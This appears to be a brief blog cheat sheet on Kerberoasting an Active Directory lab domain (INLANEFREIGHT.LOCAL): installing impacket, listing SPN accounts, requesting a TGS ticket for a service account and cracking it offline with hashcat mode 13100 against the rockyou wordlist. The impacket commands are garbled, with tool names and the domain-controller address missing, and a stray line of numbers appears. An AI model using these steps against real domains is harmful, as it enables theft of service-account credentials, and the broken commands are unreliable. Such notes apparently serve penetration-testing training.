python3 -m pipx install impacket

List all SPN Accounts -dc-ip INLANEFREIGHT.LOCAL/sqldev

Requesting a Single TGS ticket -dc-ip INLANEFREIGHT.LOCAL/sqldev -request-user SAPService -outputfile sap_tgs

Cracking the Ticket Offline with Hashcat

hashcat -m 13100 sap.txt /usr/share/wordlists/rockyou.txt --force
15890 137378315890
AD Attacks

Sign up to receive awesome content in your inbox, every month.

We don’t spam! Read our privacy policy for more info.